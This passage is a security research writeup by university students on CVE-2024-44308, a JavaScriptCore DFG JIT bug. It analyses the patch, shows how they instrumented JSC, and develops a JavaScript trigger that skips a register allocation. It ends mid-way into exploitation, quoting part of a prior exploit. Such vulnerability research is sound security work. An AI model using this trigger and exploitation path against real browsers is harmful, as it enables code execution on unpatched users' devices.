cve-2024-44308

> Michael Goppert (goppert@cs.utexas.edu), Michael Jennings (mjcs27@cs.utexas.edu), and John Jennings (jej2879@cs.utexas.edu)

This is a writeup documenting our progress in exploring and exploiting cve-2024-44308 in the optimizing JavaScript compiler and runtime in Apple's WebKit (named JavaScriptCore, or JSC for short).

Our progress in triggering and exploiting the bug can be found at https://github.com/migopp/cve-2024-44308

A basic knowledge of computer systems, general systems security, as well as JSC exploitation is recommended as a prerequisite.

The Dangers of the Bug

The bug that we will be discussing today was patched with commit `53e7f27d262249310bd6b7ad452e7df334c92b7d`[^1] to WebKit. It's interesting because it is known to be sufficiently dangerous as to allow a malicious attacker to gain arbitrary code execution[^2] on a device with the afflicted version of JSC, and it was also exploited in the wild. Yet, there exists no writeup properly documenting the bug, providing root-cause analysis, or providing a proof-of-concept exploit[^3].

Thus, we thought it was a good idea to do our own independent research into the bug and provide analysis: providing the class and broader security community with a better understanding of this class of highly-dangerous and exploitable optimizing compiler bugs.

The Bug Itself

In this section, we will provide requisite knowledge about the bug, as well as cursory ideas of exploitation.

The Patch Note

This seems like a good place to start looking:

```
Don't allocate DFG register after a slow path
https://bugs.webkit.org/show_bug.cgi?id=283063
rdar://139747120

Reviewed by Yusuke Suzuki.

Allocating a DFG register after a slow path means that if the slow path
is taken, we end up with an incorrect global state.

* Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp:
(JSC::DFG::SpeculativeJIT::compilePutByValForIntTypedArray):
```

This is a claim worth looking into. We have seen something very similar out of qwertyoruiop's *A few JSC tales* talk[^4]. If true, this bug is clearly exploitable in a similar fashion as that 2019 proof-of-concept.

Pre-Patch Code

Let's take a look at the pre-patch code and see if we can find anything to lead us to the same conclusion.

First, we note that the patch is simply shifting a few lines of code in the `SpeculativeJIT::compilePutByValForIntTypedArray` (wow that's a long name) function *upwards*.

```
@@ -3526,7 +3526,15 @@
                 break;
             }
         }
+    }
+
+    GPRReg scratch2GPR = InvalidGPRReg;
+#if USE(JSVALUE64)
+    if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
+        scratch2.emplace(this);
+        scratch2GPR = scratch2->gpr();
     }
+#endif

     bool result = getIntTypedArrayStoreOperand(
         value, propertyReg,
@@ -3537,15 +3545,7 @@
     if (!result) {
         noResult(node);
         return;
-    }
-
-    GPRReg scratch2GPR = InvalidGPRReg;
-#if USE(JSVALUE64)
-    if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
-        scratch2.emplace(this);
-        scratch2GPR = scratch2->gpr();
     }
-#endif

     GPRReg valueGPR = value.gpr();
     GPRReg scratchGPR = scratch.gpr();
```

So, if there is some intermediate failure in the `getIntTypedArrayStoreOperand` function, then it's feasible that the code would bail out to some slow path. After all, if the compiled code was general enough to handle every unusual case, it would suffer in performance.

If this were to happen, and the array were of a certain kind, then we would expect to allocate a register (done by the `scratch2.emplace(this)` line) conditionally on not bailing from the compiled code.

However, it is an unenforced invariant in JSC that all register allocations are done so unconditionally, *regardless of whether or not the slow path is actually taken* (since this is not known at compile time). Then, the register allocator has been tricked, even if it's not purposeful. It believes that a value resides in the register allocated (or on the stack in the case of a spill) that is not there. It's just junk. This is pretty obviously problematic.

If you didn't understand everything here, that's OK. We just wanted to give a high-level overview of our process in assessing the danger of this bug. From here, we can go into greater depth and detail explaining how the puzzle all fits together. Of course, the maybes and unknowns will be elucidated and backed with code from JSC itself.

DFG

> Hey, back up! I've heard of the DFG before (maybe), but I don't know why that's important here, or why I should care!

Wow, you stated your concerns quite clearly. Well done. Let's go ahead and give some context here that will be useful for the remainder of the writeup, even if we can't go into all the detail that you might need to understand if you're not familiar with the JSC architecture. If you want to learn more, we recommend this post[^5] by Filip Pizlo as well as this zon8 post[^6] on the internals of the DFG.

The Data Flow Graph (DFG) compiler is the second-highest tier of compiler in the JSC JIT pipeline. And, it views a program through the modification of data, representing operations by vertices or nodes of a graph, and intermediate values as edges connecting various nodes. By compiling code with this view in mind, we can model side effects more efficiently and achieve some pretty nice optimizations.

Then, it's quite clear that our `compilePutByValForIntTypedArray` is simply optimizing the `PutByVal` node for this special case.

Slow Paths

Let's also make the idea and implementation of these in JSC concrete, as it's pretty important to understand when attempting to reproduce the bug.

Let's motivate with an example. Pretend for a moment that you are a prep chef at Uchi (□), which is a Japanese dining restaurant in Austin famous for their high-quality sushi. You have a little guidebook telling you exactly how to prepare a given cut of fish. There are some fish that customers order quite often, so you prepare them more and have the steps memorized. However, every once in a while, someone orders an unusual cut, and you have to check the guidebook to make sure that you prepare it correctly.

This is exactly the idea of a slow path. An optimizing compiler may see that when code runs, it typically does so with arguments of a certain type, or with some certain state, and will optimize based on that. If, when the compiled code runs, the compiler sees something unusual that violates the invariants set at compile-time, it will look at its "guidebook" and bail out to a lower level of optimization to make sure it gets the operation correct.

This is implemented in JSC with the `Jump` and `JumpList` types. The `Jump` type is an indicator type describing a branch in the emitted code (to a possibly-unknown location). Similarly, the `JumpList` is a collection of `Jump` objects that all branch to the same location in the emitted code. To illustrate why this is

useful and how it relates to slow paths, take a look at the relevant `SpeculativeJIT::getIntTypedArrayStoreOperand` function:

```
JumpList fixed(jump());
// ...
fixed.append(
    branchTruncateDoubleToInt32(fpr, gpr,
    BranchIfTruncateSuccessful));
// ...
fixed.link(this);
```

We create a `JumpList` named `fixed` that is set with a placeholder `Jump` generated by `jump()`. This essentially says that there will be an emitted jump at this part of the compiled code, but the location *where it branches to* is currently unknown. Then, some time later, we append another `Jump` conditioned on the outcome of a truncation operation. Finally, we call `link` to patch all of the `Jump` objects in `fixed` to the location that `link` was called at in the emitted code.

However, `link` is only one mechansim to patch `Jump` objects in a `JumpList`. Another method that will soon be relevant is the `addSlowPathGenerator(slowPathCall(...))` paradigm, which does largely the same thing, except generates jumps to external symbols:

```
inline std::unique_ptr<SlowPathGenerator> slowPathCall(
    JumpType from,
    SpeculativeJIT* jit,
    FunctionType function,
    SpillRegistersMode spillMode,
    ExceptionCheckRequirement requirement,
    ResultType result,
    Arguments... arguments)
```

In our case:

```
if (!slowPathCases.empty()) {
    addSlowPathGenerator(slowPathCall(
        slowPathCases, this,
        node->ecmaMode().isStrict() ?
            // These are the external symbols that we jump to...
            //
            // They appear to simply be JSC library functions!
            (node->op() == PutByValDirect ?
                 operationDirectPutByValStrictGeneric :
                 operationPutByValStrictGeneric) :
            (node->op() == PutByValDirect ?
                 operationDirectPutByValSloppyGeneric :
                 operationPutByValSloppyGeneric),
        // ...
}
```

This seems kinda complicated, but you can just view it as taking everything in the `JumpList` named `slowPathCases` and patching the jumps to one of the `operation...` functions in `jit/JITOperations.cpp` depending on the operation and contextual strictness.

Tools

With that, we have the context necessary to begin attempting to reproduce the bug. But, first, we should go over the tools we engineered to make working with JSC easier.

Asserts

One obvious tool that we have at our disposal is the ability to instrument the JSC source code with various kinds of asserts. For example, if we want to check that a function runs, we can just slap an `ASSERT_NOT_REACHED()` at the top of it:

```
void SpeculativeJIT::compilePutByValForIntTypedArray(Node* node,
TypedArrayType type) {
    ASSERT_NOT_REACHED();
    // ...
}
```

The same is true for any individual line, or code beyond an individual line. These asserts come in different flavors and usecases depending on the way you build JSC. For example, there are asserts specifically made to trigger in release builds of JSC. There are asserts that check a condition, asserts that scream unconditionally, and asserts that leak into the emitted code and *trip at runtime*.

Breakpoints

Well, that last one is technically not truthful, but we have a primitive that acts like it:

```
m_jit.breakpoint();
```

Emits an architecture-specific breakpoint. For example, on the `x64` platform we worked on, it emits an `int3` instruction directly in the code, which, when run, immediately halts the program. Using these correctly can help us know if code *compiled by the DFG* is running correctly.

Patch Files

This is somewhat self-explanatory, but we can have patch files that describe specific atomic modifications that we want to make to the JSC source code. For example, adding an assertion to check if a function is compiled, or a breakpoint to check that some portion of compiled code actually runs.

Meet: The Build System

> Cue TF2 music.

Cursory build information is available on the blog of Yusuke Suzuki[^7]. We assume you are familiar with the basics of building JSC.

JSC as a Library

Turns out that the `jsc` binary itself is kinda small. It's really just a shell in essence. The actual functionality of JSC is packed within a built `libJavaScriptCore` shared object. When one runs the typical (after adding asserts or something of the like):

```
./Tools/Scripts/build-webkit --jsc-only --debug
```

The shared object is *really* what we are rebuilding.

But, this presents a problem... If we check what the `jsc` binary is linked against:

```
chubbs@box WebKit ±| ✗|→ ldd WebKitBuild/JSCOnly/Debug/bin/jsc

...

libJavaScriptCore.so.1 =>
/home/chubbs/repos/WebKit/WebKitBuild/JSCOnly/Debug/lib/libJavaScriptCore.
so.1 (0x00007492fb000000)
```

We find this hard-coded path. It turns out that this is part of the rpath[^8], which is essentially a set of places that the linker looks at runtime to resolve symbols.

But, we rebuild this library every time we patch JSC...

Dr. Shacham provided a couple of options to prevent us from doing nasty things. The most promising idea was modifying the rpath of each `jsc` binary we built post-patch[^9].

However, we did not believe in our ability to not mess that up. Thus, we get the following mess.

GNUMake

We used `make` as a short-hand for a collection of testing scripts. Let's look at an example build rule (for testing that our `ASSERT_NOT_REACHED()` in `SpeculativeDFG::compilePutByValForIntTypedArray` is executed):

```
compile-step:
    # 1:
    cd .. && git reset --hard HEAD

    # 2:
    cd .. && patch -p0 < cve-2024-44308/patches/call-compile-fn.patch

    # 3:
```

```
    ../Tools/Scripts/build-webkit --jsc-only --debug

    # 4:
    ../WebKitBuild/JSCOnly/Debug/bin/jsc cve-2024-44308.js $(JSC_FLAGS)
```

This:

1. Resets the `WebKit` directory, discarding any changes that were previously made to the files in `Source/JavaScriptCore`,
2. patches JSC,
3. rebuilds, and
4. runs our exploit.

It's not the *most* efficient thing in the world, but rebuilding after a patch takes only a minute or so. Also, we have the following rule to simply run our exploit on the last patched version:

```
current:
    ../WebKitBuild/JSCOnly/Debug/bin/jsc cve-2024-44308.js $(JSC_FLAGS)
```

Since we are essentially using `make` as a command runner, perhaps something more like `just`[11] or even simple shell scripts would be better for the task. But, we were all immediately familiar with the system, so that was what we chose.

More pragmatic information about the build system is available in the proof-of-concept exploit repository. As is all of the build system code.

Reproduction

In this section, we will talk about our methodology and process in reproducing the bug itself in an afflicted version of JSC, independent of exploitation.

Goals

We should first establish our goals for reproducing the bug. This ends up being fairly straightforward. We want to:

1. Generate the code that performs a conditional register allocation,
2. Generate a slow path case in`getIntTypedArrayStoreOperand`, and
3. Take the aforementioned slow path case.

So, we have only a few requirements, but starting without a reproduction test case makes this quite tricky. Fortunately, we were able to craft a payload that does all of these things, so we will go step-by-step in the process of engineering such a thing.

Metrics of Success

Now that we have goals, we need a way to measure success of achieving each of them. Fortunately, each of these is a binary option (i.e., we did it or we didn't). It's just a matter of finding ways to prove that certain

code is running or being generated.

We'd also like to be able to track our progress incrementally, so that we can work toward a single, small goal at any given time.

Conditional Register Allocation

This is actually two atomic goals. The first of which is getting the `compilePutByValForIntTypedArray` function to run, and the other is to have the register allocation code generated.

Both of these are quite simple to measure. For the former, we can simply place an `ASSERT_NOT_REACHED()` as the first instruction of the compiling function:

```
void SpeculativeJIT::compilePutByValForIntTypedArray(Node* node,
TypedArrayType type) {
    ASSERT_NOT_REACHED();
    // ...
}
```

For the latter, we could also use an assert, but we opted for a runtime breakpoint in the emitted code. Recall that the code of interests looks as follows:

```
bool result = getIntTypedArrayStoreOperand(/* ... */);
if (!result) {
    noResult(node);
    return;
}

GPRReg scratch2GPR = InvalidGPRReg;
#if USE(JSVALUE64)
if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
    scratch2.emplace(this);
    scratch2GPR = scratch2->gpr();
}
#endif
```

Then, we just emit a breakpoint in the `if` statement, where the conditional register allocation occurs.

```
bool result = getIntTypedArrayStoreOperand(/* ... */);
if (!result) {
    noResult(node);
    return;
}

GPRReg scratch2GPR = InvalidGPRReg;
#if USE(JSVALUE64)
if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
```

```
    scratch2.emplace(this);
    scratch2GPR = scratch2->gpr();
    breakpoint();
}
#endif
```

Slow Path Generation

Recall the high-level logic of `getIntTypedArrayStoreOperand`:

```
// ...
if (isAppropriateConstant) { /* ... */ }
else {
    // ...
    switch (valueUse.useKind()) {
        // ...
        case DoubleRepUse: {
            if (isClamped) {
                // ...
            } else { // [A]
                // ...
                slowPathCases.append(jump());
            }
            break;
        }
    }
}
```

Then, if it's the case that *when we are compiling* some DFG node (in this case `PutBuVal`, `getIntTypedArrayStoreOperand` goes through this control flow and emits code according to the `else` branch at comment `[A]` above, it will have the chance to branch to a slow path. Cool. So, this is where we place another `ASSERT_NOT_REACHED()`:

```
// ...
if (isClamped) {
    // ...
} else {
    ASSERT_NOT_REACHED();
    // ...
    slowPathCases.append(jump());
}
```

Taking the Slow Path

Now, we have to instrument some code to see if the slow path is actually taken. Recall the `operation...` bailout points indentified previously for the `addSlowPathGenerator(slowPathCall(...))` code. If we know that these are the exhaustive options, instrument each with an assert like so:

```
JSC_DEFINE_JIT_OPERATION(
    operationPutByValSloppyGeneric,
    void,
    (JSGlobalObject* globalObject,
     EncodedJSValue encodedBaseValue,
     EncodedJSValue encodedSubscript,
     EncodedJSValue encodedValue))
{
    ASSERT_NOT_REACHED();
    // ...
}
```

It turns out that we always call the `operationPutByValSloppyGeneric` shown above in our testing, but that isn't important, and we imnstrumented all four options with a similar assert.

Approach

Each of these subgoals is broken into a separate patch file, which we can apply and run our payload against to ensure that we get a breakpoint trap or assert failure.

If all of these trigger independently, (i.e., the compile step triggers the assert, then the regalloc step triggers a breakpoint, then the slowpath generation step triggers the assert, then we jump to the slow path and trigger that assert), we can be sure that without any asserts/breakpoints our payload reproduces the bug and "skips" the register allocation.

Triggering

Let's get to work. We will now show the process of developing a payload to systematically trigger each of the asserts/breakpoints above.

JITting At All

The first step is to get the `compilePutByValForIntTypedArray` function to run. Let's try the stupidest thing that *could* work.

```
// We need an array!
//
// It should probably be an integer typed array,
// given that we are targeting a function with
// "IntTypedArray" in the name
let a = new Int32Array(1);

// Just add to that array...
for (let i = 0; i < 20000; ++i) a[0] = 1337;
```

It seems like this should be optimized out entirely, but fortunately the engine is not that smart. Apply the following patch to JSC:

```
@@ -3487,6 +3487,7 @@

 void SpeculativeJIT::compilePutByValForIntTypedArray(Node* node,
TypedArrayType type)
 {
+    ASSERT_NOT_REACHED();
     ASSERT(isInt(type));

     Edge child1 = m_graph.varArgChild(node, 0);
```

Now, let's run the code:

```
chubbs@box cve-2024-44308 ±|main ✗|→ make current

../WebKitBuild/JSCOnly/Debug/bin/jsc cve-2024-44308.js --
validateOptions=true --useLLInt=false --useBaselineJIT=false --
useFTLJIT=false --useRegExpJIT=false --useDOMJIT=false

SHOULD NEVER BE REACHED
/home/chubbs/repos/WebKit/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp(
3490) : void
JSC::DFG::SpeculativeJIT::compilePutByValForIntTypedArray(JSC::DFG::Node*,
JSC::TypedArrayType)
...
make: *** [Makefile:8: current] Aborted (core dumped)
```

Wow. It worked. Maybe this is not too hard after all!

Conditional Register Allocation

Looking at the condition again:

```
if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
    scratch2.emplace(this);
    scratch2GPR = scratch2->gpr();
}
```

The register allocation occurs in the case that the array may be a resizable or growable shared type array. Then, we can just modify the type of our array in the payload:

```
// This is enough for a single i32.
// But, we say it _can_ grow enough to hold two i32s!
let sab = new SharedArrayBuffer(4, { maxByteLength: 8 });
let a = new Int32Array(sab);

for (let i = 0; i < 20000; ++i) a[0] = 1337;
```

This uses the JS `SharedArrayBuffer`[12] type. There's not a lot more that goes into this. One can verify this works by applying the patch:

```
@@ -3544,6 +3544,7 @@
     if (node->arrayMode().mayBeResizableOrGrowableSharedTypedArray()) {
         scratch2.emplace(this);
         scratch2GPR = scratch2->gpr();
+        breakpoint();
     }
 #endif
```

Expecting a breakpoint trap at runtime:

```
chubbs@box cve-2024-44308 ±|main ✗|→ make current

../WebKitBuild/JSCOnly/Debug/bin/jsc cve-2024-44308.js --
validateOptions=true --useLLInt=false --useBaselineJIT=false --
useFTLJIT=false --useRegExpJIT=false --useDOMJIT=false

make: *** [Makefile:11: current] Trace/breakpoint trap (core dumped)
```

Slow Path Generation

Recall that we want the slow path jump to be generated in `getIntTypedArrayStoreOperand`. The idea of the function is quite straightforward given its name; however, we'd like to go in-depth and explore what exactly it does.

So, consider the JS code:

```
a = [];
a[0] = 1337;
```

The bottom line *stores* the operand `1337` into the array `a` at index `0`. In this case, the *store operand* is `1337`, because it is the operand being stored into the array.

With that in mind, it becomes clear that this function is responsible for compiling the process of retrieving the right-hand side of the such store expressions.

With this in mind, recall the control flow of `getIntTypedArrayStoreOperand`:

```
// ...
if (isAppropriateConstant) { /* ... */ }
else {
```

```
    // ...
    switch (valueUse.useKind()) {
        // ...
        case DoubleRepUse: {
            if (isClamped) {
                // ...
            } else { // [A]
                // ...
                slowPathCases.append(jump());
            }
            break;
        }
    }
}
```

So, we need the right-hand side of the assignment to be:

- `!isAppropriateConstant` (huh?), and
- A double type.

We'd also like to ensure that the array being stored into has an unclamped array type.

The last two requirements are quite simple to parse for next steps: we need to store a float, and we should continue using our `Int32Array` (which is unclamped). But, what's up with that appropriate constant thing?

Looking at some code we conveniently omitted above:

```
bool isAppropriateConstant = false;
if (valueUse->isConstant()) {
        JSValue jsValue = valueUse->asJSValue();
        SpeculatedType expectedType = typeFilterFor(valueUse.useKind());
        SpeculatedType actualType = speculationFromValue(jsValue);
        isAppropriateConstant = (expectedType | actualType) ==
expectedType;
}

// Same as control flow code segment...
if (isAppropriateConstant) { /* ... */ }
else { /* ... */ }
```

So, the only constraint is that it is not a constant. Nice. Let's modify our exploit code:

```
// Keep the shared `Int32Array` thing going.
let sab = new SharedArrayBuffer(4, { maxByteLength: 8 });
let a = new Int32Array(sab);

// Now we know that the thing we add to the array:
//     - cannot be a constant, and
```

```
//     - should be a float
for (let i = 0; i < 20000; ++i) a[0] = i + 1337.1337;
```

If we patch JSC:

```
@@ -3424,6 +3424,7 @@
                 valueTag.adopt(realValueTag);
                 GPRReg valueTagGPR = valueTag.gpr();
 #endif
+                ASSERT_NOT_REACHED();
                 SpeculateDoubleOperand valueOp(this, valueUse);
                 GPRTemporary result(this);
                 FPRReg fpr = valueOp.fpr();
```

And run our code:

```
chubbs@box cve-2024-44308 ±|main ✗|→ make current

../WebKitBuild/JSCOnly/Debug/bin/jsc cve-2024-44308.js --
validateOptions=true --useLLInt=false --useBaselineJIT=false --
useFTLJIT=false --useRegExpJIT=false --useDOMJIT=false

SHOULD NEVER BE REACHED
/home/chubbs/repos/WebKit/Source/JavaScriptCore/dfg/DFGSpeculativeJIT.cpp(
3427) : bool
JSC::DFG::SpeculativeJIT::getIntTypedArrayStoreOperand(JSC::DFG::GPRTempor
ary&, JSC::GPRReg, JSC::DFG::Edge,
JSC::AbstractMacroAssembler<JSC::X86Assembler>::JumpList&, bool)
make: *** [Makefile:8: current] Aborted (core dumped)
```

Whew. That involved a little more code diving, but it still wasn't all that bad. We've gotten a little closer, and that always feels good.

Taking the Slow Path

Earlier, we glossed over the details a bit. The slow path is not *always* taken if we take the path described above in `getIntTypedArrayStoreOperand`. In fact, here's the code after we get into that `else`:

```
// ...
else {
    SpeculateDoubleOperand valueOp(this, valueUse);
    GPRTemporary result(this);
    FPRReg fpr = valueOp.fpr();
    GPRReg gpr = result.gpr();
    Jump notNaN = branchIfNotNaN(fpr);
    xorPtr(gpr, gpr);
    JumpList fixed(jump());
```

```
    notNaN.link(this);
    fixed.append(branchTruncateDoubleToInt32(fpr, gpr,
BranchIfTruncateSuccessful));
    or64(GPRInfo::numberTagRegister, property);
    boxDouble(fpr, gpr);
    slowPathCases.append(jump());
    fixed.link(this);
    value.adopt(result);
}
```

Well, that's a lot of stuff.

This code is bound to look cluttered because it's C++ that is responsible for emitting code. Par for the course. The main thing to pay attention to here is this runtime control flow:

```
JumpList fixed(jump());
// ...
fixed.append(branchTruncateDoubleToInt32(fpr, gpr,
BranchIfTruncateSuccessful));
// ...
slowPathCases.append(jump());
fixed.link(this);
```

It looks like we branch past the jump to our slow path in the case that `branchTruncateDoubleToInt32` emits a `Jump` into `fixed`. One can guess exactly how this works from the calling semantics, but let's investigate just to be thorough.

```
Jump branchTruncateDoubleToInt32(
    FPRegisterID src,
    RegisterID dest,
    BranchTruncateType branchType = BranchIfTruncateFailed) {
    if (supportsAVX())
        m_assembler.vcvttsd2si_rr(src, dest);
    else
        m_assembler.cvttsd2si_rr(src, dest);
    return branch32(branchType ? NotEqual : Equal, dest,
TrustedImm32(0x80000000));
}
```

It looks like this just emits some `vcvttsd2si` instruction, then a branch based on the resulting value. Simple enough. It turns out that `vcvttsd2si` just attepts to convert a float to a signed int[^13]. If it fails, it places the sentinel value of `INT_MIN` in the destination register. Then, as it's called for us:

```
fixed.append(branchTruncateDoubleToInt32(fpr, gpr,
BranchIfTruncateSuccessful));
```

Just truncates the value in `fpr` to a 32-bit signed integer, jumping to `fixed.link(this)` if it succeeds. So, we are interested in getting the check to fail!

According to our documentation[^13]:

> If a converted result exceeds the range limits of signed doubleword integer (in non-64-bit modes or 64-bit mode with REX.W/VEX.W/EVEX.W=0), the floating-point invalid exception is raised, and if this exception is masked, the indefinite integer value (80000000H) is returned.

So, what if we just feed a large float? This should work!

```
// This stuff can stay the same.
let sab = new SharedArrayBuffer(4, { maxByteLength: 8 });
let a = new Int32Array(sab);
for (let i = 0; i < 20000; ++i) a[0] = i + 1337.1337;

// This is big enough, right?
a[0] = 13371337133713371337.1337;
```

Here's our JSC patch this time:

```
@@ -1865,6 +1865,7 @@

JSC_DEFINE_JIT_OPERATION(operationPutByValStrictGeneric, void,
(JSGlobalObject* globalObject, EncodedJSValue encodedBaseValue,
EncodedJSValue encodedSubscript, EncodedJSValue encodedValue))
 {
+    ASSERT_NOT_REACHED();
     VM& vm = globalObject->vm();
     CallFrame* callFrame = DECLARE_CALL_FRAME(vm);
     JITOperationPrologueCallFrameTracer tracer(vm, callFrame);
@@ -1898,6 +1899,7 @@

JSC_DEFINE_JIT_OPERATION(operationPutByValSloppyGeneric, void,
(JSGlobalObject* globalObject, EncodedJSValue encodedBaseValue,
EncodedJSValue encodedSubscript, EncodedJSValue encodedValue))
 {
+    ASSERT_NOT_REACHED();
     VM& vm = globalObject->vm();
     CallFrame* callFrame = DECLARE_CALL_FRAME(vm);
     JITOperationPrologueCallFrameTracer tracer(vm, callFrame);
@@ -1932,6 +1934,7 @@

 JSC_DEFINE_JIT_OPERATION(operationDirectPutByValStrictGeneric, void,
(JSGlobalObject* globalObject, EncodedJSValue encodedBaseValue,
EncodedJSValue encodedSubscript, EncodedJSValue encodedValue))
 {
+    ASSERT_NOT_REACHED();
     VM& vm = globalObject->vm();
     CallFrame* callFrame = DECLARE_CALL_FRAME(vm);
```

```
      JITOperationPrologueCallFrameTracer tracer(vm, callFrame);
@@ -2113,6 +2116,7 @@

 JSC_DEFINE_JIT_OPERATION(operationDirectPutByValSloppyGeneric, void,
(JSGlobalObject* globalObject, EncodedJSValue encodedBaseValue,
EncodedJSValue encodedSubscript, EncodedJSValue encodedValue))
 {
+    ASSERT_NOT_REACHED();
     VM& vm = globalObject->vm();
     CallFrame* callFrame = DECLARE_CALL_FRAME(vm);
     JITOperationPrologueCallFrameTracer tracer(vm, callFrame);
```

And if we run it:

```
chubbs@box cve-2024-44308 ±|main ✗|→ make current

../WebKitBuild/JSCOnly/Debug/bin/jsc cve-2024-44308.js --
validateOptions=true --useLLInt=false --useBaselineJIT=false --
useFTLJIT=false --useRegExpJIT=false --useDOMJIT=false
```

Oh. That's awkward. Nothing happened? Hmm...

And here comes the hard part. We have to debug DFG-Emitted code. You may be asking yourself

> How on Earth is this even possible?

Or maybe it's more like

> These guys are idiots. It's super obvious. I did this when I was 10 or something.

But don't worry. In case it's not immediately obvious to you (which was the case for us), we will explain our strategy. Hopefully, this workflow is applicable beyond this specific instance.

The first question is to answer where DFG-emitted code even lives. Normally, code is placed in the text or code segment of a binary, which is allocated at load-time, and not resizable via conventional means. The DFG obviously cannot emit code there, because it has no idea how much it is going to emit before the engine begins runing.

The next thought, then, should be to ask the OS for RWX pages. And that's actually what any sane JIT does, JSC included. This means it changes between invocations of JSC, and even between different DFG compilations in the same invocation.

> So, how can we see it? How can we see what's happening in the emitted code?

Let me introduce the beautiful optional flag:

```
--dumpDFGDisassembly=true
```

Each time the DFG compiles something, it'll give you a dump of the disassembly and where it's placed in memory. Let's run it on our exploit just to see what's happening:

```
chubbs@box cve-2024-44308 ±|main ✗|→ ../WebKitBuild/JSCOnly/Debug/bin/jsc
cve-2024-44308.js --validateOptions=true --useLLInt=false --
useBaselineJIT=false --useFTLJIT=false --useRegExpJIT=false --
useDOMJIT=false --dumpDFGDisassembly=true

Generated DFG JIT code for ...
```

It's pretty long. If we look in the dump we can find a header `PutByVal`. That looks like what we want:

```
D@43:<!0:->       PutByVal(KnownCell:D@32, Int32:D@35,
DoubleRep:D@40<Double>, Check:Untyped:D@58, MustGen|VarArgs,
Int32Array+Or>
          0x7913ff8422f9: mov $0x7913fe000018, %r11
          0x7913ff842303: movq (%r11), %r11
          0x7913ff842306: test %r11, %r11
          0x7913ff842309: jz 0x7913ff842316
          0x7913ff84230f: mov $0x113, %r11d
          0x7913ff842315: int3
          0x7913ff842316: mov $0x2b0000019d, %r11
          0x7913ff842320: xchg %rax, %r11
          0x7913ff842322: movq %rax, 0x7913fe016e10
          0x7913ff84232c: xchg %rax, %r11
          0x7913ff84232e: test %rsi, %r15
          0x7913ff842331: jz 0x7913ff84233e
          0x7913ff842337: mov $0xb4, %r11d
          0x7913ff84233d: int3
          0x7913ff84233e: xor %r8d, %r8d
          0x7913ff842341: vucomisd %xmm0, %xmm0
          0x7913ff842345: jnp 0x7913ff842353
          0x7913ff84234b: xor %r10, %r10
          0x7913ff84234e: jmp 0x7913ff84238d
          0x7913ff842353: vcvttsd2si %xmm0, %r10d
          0x7913ff842357: cmp $-0x80000000, %r10d
          0x7913ff84235e: jnz 0x7913ff84238d
          0x7913ff842364: or %r14, %r8
          0x7913ff842367: vmovq %xmm0, %r10
          0x7913ff84236c: sub %r14, %r10
          0x7913ff84236f: cmp %r14, %r10
          0x7913ff842372: jnb 0x7913ff842381
          0x7913ff842378: test %r10, %r14
          0x7913ff84237b: jnz 0x7913ff842388
          0x7913ff842381: mov $0x3c, %r11d
          0x7913ff842387: int3
          0x7913ff842388: jmp 0x7913ff8425bf
```

This is super duper handy. If we can just dump this in our shell, we can attach with GDB and then just set a breakpoint on the allocated page.

Let's first open the JSC shell:

```
>>> let sab = new SharedArrayBuffer(4, { maxByteLength: 8});
undefined
>>> let a = new Int32Array(sab);
undefined
>>> for (let i = 0; i < 20000; ++i) a[0] = i + 1337.1337;
...
D@46:<!0:->       PutByVal(KnownCell:D@35, Int32:D@38,
DoubleRep:D@43<Double>, Check:Untyped:D@62, MustGen|VarArgs,
Int32Array+OriginalNonArray+InBounds+AsIs+Write, R:MiscFields,
W:TypedArrayProperties, Exits, ClobbersExit, bc#38, ExitValid)
          0x77af76441490: mov $0x77af75000018, %r11
...
21336.1337
>>>
```

Now's the great part. Throw up the simplest one-liner possible in another terminal window:

```
sudo gdb ../WebKitBuild/JSCOnly/Debug/bin/jsc -p $(pgrep jsc)
```

Then we can break on the compiled code:

```
(gdb) b *0x77af76441490
(gdb) c
```

And try on the shell:

```
>>> a[0] = 13371337133713371337.1337;
0
```

Huh. It didn't break. But, we set the breakpoint... It's not running the compiled code. Why?

Oh. It compiled the loop, not the action of putting a value into a. Let's fix the payload:

```
// Keep this.
let sab = new SharedArrayBuffer(4, { maxByteLength: 8 });
let a = new Int32Array(sab);

// NEW: Migrate the operation into a function of it's own merit.
function opt(thing) {
```

```
  a[0] = thing;
}

// This part is identical to before.
for (let i = 0; i < 20000; ++i) opt(i + 1337.1337);

// Put something big in there!
opt(13371337133713371337.1337);
```

And let's try again:

```
chubbs@box cve-2024-44308 ±|main ✗|→ make current

../WebKitBuild/JSCOnly/Debug/bin/jsc cve-2024-44308.js --
validateOptions=true --useLLInt=false --useBaselineJIT=false --
useFTLJIT=false --useRegExpJIT=false --useDOMJIT=false

SHOULD NEVER BE REACHED
/home/chubbs/repos/WebKit/Source/JavaScriptCore/jit/JITOperations.cpp(1902
) : JSC::OperationReturnType<void>
JSC::operationPutByValSloppyGeneric(JSC::JSGlobalObject*,
JSC::EncodedJSValue, JSC::EncodedJSValue, JSC::EncodedJSValue)
1   0x72ac8ba58143
/home/chubbs/repos/WebKit/WebKitBuild/JSCOnly/Debug/lib/libJavaScriptCore.
so.1(+0x1858143) [0x72ac8ba58143]
2   0x72ac3c234556 [0x72ac3c234556]
make: *** [Makefile:11: current] Aborted (core dumped)
```

OK. We won. Whew. We can finally move onto exploitation.

Exploit

In this section, we will discuss a path forward from bug reproduction into exploitation.

Debug Mode

It's worth noting that at this point, we transitioned away from using the Debug version of JSC into Release. This is because the former does more to verify stack data, making our methods of exploitation unreliable.

Luca Tedesco'd

So, it's pretty clear that this bug is very similar, if not identical to the one from *A few JSC tales* by Luca Tedesco, also known as qwertyuiop. If you need additional background in that regard, we direct you to his slides, which are well-written[^4]. That gave us a pretty quick path forward. So, we will explain all that we did to try and get a working exploit in that regard in this section.

Essentially, we create an `opt1` function, which primes the stack with useful* initial values. Then, we have an `opt` function which runs immediately after `opt1` and triggers the bug. To be more specific, `opt1` and`opt` have identical JavaScript code (to ensure similar compiler behavior when assigning locations for stack spills)

and run with the same base pointer. If `opt` should've spilled a register to the stack, then if the bug is triggered, the value in that offset of the stack will be interpreted as the value of the associated variable. This manifests itself in Tedesco's code as[^14]:

```
function opt(ary, ary1, woot) {
  let a, b, c, d, e, f, g, h, i, l;
  l = [1, 2];
  l[0];
  l[1];
  l[0]; // ... and so on
  b = {};
  c = ary1.b;
